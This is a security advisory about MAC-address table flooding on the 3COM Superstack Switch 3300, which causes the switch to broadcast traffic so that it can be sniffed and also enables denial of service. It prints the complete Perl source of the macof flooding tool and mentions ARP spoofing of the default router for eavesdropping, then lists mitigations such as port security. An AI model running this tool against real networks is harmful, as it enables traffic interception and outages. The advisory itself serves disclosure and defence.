Vulnerability

    3COM Superstack Switch

Affected

    3COM Superstack Switch 3300

Description

    Following is based on Infosec Security Vulnerability Report.   Due
    to limitation  with ARP/MAC-tables;  switches could  start sending
    packages to all ports, other network devices could hang, crash  or
    reboot  if  they  receive  lots  of  MAC-addresses.  Someone could
    eavesdrop/sniff  network  connections  over  a  switched  network.
    Denial of  service attacks  on a  local network  is also possible.
    This was tested on  3COM Superstack Switch 3300  (3c16981 Hardware
    v.1 Software v.2.10).

    Senario:
    - Computer A talks with computer B
    - Computer C is running macof
    - Computer A, B and C are connected to the same 3com switch

    When running macof from

        http://quake.skif.net/RawIP/macof.html

    a perl-program included in the perl-module Raw:IP

        http://quake.skif.net/RawIP/

    through  a  3com  Superstack  Switch  3300  (3c16981  Hardware v.1
    Software v.2.10) the  switch starts to  send all network  packages
    from computer A  to computer B  and computer C.   This problem  is
    known as "Learning mode"  and is the state  the switch is in  when
    it "learn"  how the  network  is  configurated.  What it   does is
    simply to record what port each mac-address is responding.

    At DefCon VI there were  discussions about switches.  Some  people
    acquire  a  switch  because  you  could  not  eavesdrop  a network
    connection  over  it.   Someone  told  that  if you send a special
    multicast to a switch you  could spoof another switch and  thereby
    should the switch  start sending you  network packages.   In these
    attempts  Infosec  discovered  that  you  easily  could  spoof   a
    MAC-address and thereby confuse a switch because the switch  tries
    to remember which MAC-addresses is on each port.  Because of  some
    network packages goes  to the spoofing  MAC you get  problems with
    the connections (resends).   But what happens  if the switch  gets
    flooded  with  MAC-addresses?   The   switch  just  has  a   bound
    memory-space for the MAC-addresses on each port.  What happens  if
    this table gets full?  After a few tests (with macof) Infosec  got
    different results  depending on  the brand  of the  switch.   Some
    switches  stopped  working  and  other  started to forward network
    traffic to wrong  or all ports.   The only scientific  analysis is
    this one reported.  This is a resource problem.

    macof is just one way to do it.  Infosec thinks that the best  way
    to eavesdrop a  connection over a  switch is to  spoof the default
    router and send ARP-redirects  with your MAC-address as  ?changing
    to?  and  route  the  incoming  packages  to  the  default routers
    MAC-address.  Test program, macof:

    #!/usr/bin/perl -w
    #
    # macof v. 1.1
    # By Ian Vitek ( ian.vitek@infosec.se )
    # Tests network devices by flooding local network with MAC-addresses.
    #
    # Needs Net::RawIP (http://quake.skif.net/RawIP)
    # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
    #
    # Example: ./macof -e <mac_of_def_gate> -n 1000000
    #          ./macof -r -n 1000000
    #          (run it several times)
    #
    # Warning: This program could cause serious problems on your network.
    #          This program could hang, crash or reboot network devices.
    #          Switches could start sending packages to all ports making it
    #          possible to intercept network traffic.
    #
    #
    require 'getopts.pl';
    use Net::RawIP;
    Getopts('hvrs:e:d:x:y:i:n:');

    sub GenMAC
    {
      my $tmp_mac="00";
      my $i=0;
    # generate random mac-address
      while($i++ < 5) {
        $tmp_mac.=":" . sprintf("%x",int rand 16);
        $tmp_mac.=sprintf("%x",int rand 16);
      }
      return($tmp_mac);
    }

    $a = new Net::RawIP;

    die "usage: $0 [options]\
    \t-d dest_host\t\t(def:random)\
    \t-s source_host\t\t(def:random)\
    \t-v \t\t\tprints generated mac-addresses\
    \t-r | -e dest_mac \trandomize or set destination mac address\
    \t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
    \t-x source_port\t\t(def:random)\
    \t-y dest_port \t\t(def:random)\
    \t-i interface \t\tset sending interface \t\t(def:eth0)\
    \t-n times\t\tset number of times to send \t(def:1)\
    \t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );

    # set default values
    $opt_i=eth0 unless $opt_i;
    $opt_n=1 unless $opt_n;
    $s_host=$opt_s if $opt_s;
    $d_host=$opt_d if $opt_d;
    $s_port=$opt_x if $opt_x;
    $d_port=$opt_y if $opt_y;

    # choose network card
    if($opt_e) {
      $a->ethnew($opt_i, dest => $opt_e);
    } else {
      $a->ethnew($opt_i);
    }

    # Loop
    for($times=0; $times < $opt_n; $times++) {
    # Check if one or two mac-addresses should be generated
      $mac=&GenMAC;
      if($opt_r) {
        $d_mac=&GenMAC;
        print "$d_mac \t$mac\n" if($opt_v);
    #   set mac-addresses
        $a->ethset(source => $mac, dest => $d_mac);
      } else {
        print "$mac\n" if($opt_v);
    #   set mac-address
        $a->ethset(source => $mac);
      }
    # generate random source and destination ip-addresses
      $s_host=17000000+int rand 4261000000 unless $opt_s;
      $d_host=17000000+int rand 4261000000 unless $opt_d;
    # generate random source and dest ports
      $s_port=int rand 65535 unless $opt_x;
      $d_port=int rand 65535 unless $opt_y;
    # set network package
      $a->set({ip => {saddr => $s_host, daddr => $d_host},
               tcp => {source => $s_port, dest => $d_port}
              });
    # send
      $a->ethsend;
    }

    The bridge designer faces two choices:

      1. To flood packets when the filtering database fills.  Thus the
         bridge  can  cope  with  larger  bridged networks than it was
         originally designed for.

      2. To refuse service to  addresses not already in the  filtering
         database when the database fills.

    IEEE 802.1d isn't much use in deciding which option is best.

Solution

    This doesn't  seem like  a major  issue, as  long as  PER PORT Mac
    limit < x < y < PER SWITCH Mac limit and y-x is a reasonable size.
    Since you can only generate  Mac addresses which will be  recorded
    on the  port of  the switch  your attacking  box is  connected to,
    you won't be able to overload the box entirely.

    As a  workaround for  switches you  could maybe,  where available,
    lock  a  MAC-address  to  every  port  on  the  switch.  Don't use
    "learning mode" on the switch.  In  a secure environment  you know
    most of  the needed  mac-addresses and  the rest  you should  know
    anyway  so  you  do  not  need  "learning  mode".   But  is  it  a
    limitation?   Yes.   The  switch  should  notice  that  a  port is
    behaving very  strange and  disable it  (before it's  MAC-table is
    flushed).   So,  fixes  are  to  activate  "port  security", which
    deactivates a port  if its MAC  address changes.   This limits the
    DoS to one machine, which  may still be worthwhile if  the machine
    runs an attractive service.  It is costly to administer in a large
    network.  Some switches have  a "trap on port MAC  address change"
    option.  The port running the exploit will generate a huge  number
    of traps, and suitable administrative action taken.  Networks with
    trees  of  switches  will  see  multiple  traps  as  MAC addresses
    changes, so this option is usually only enabled on switches at the
    edge.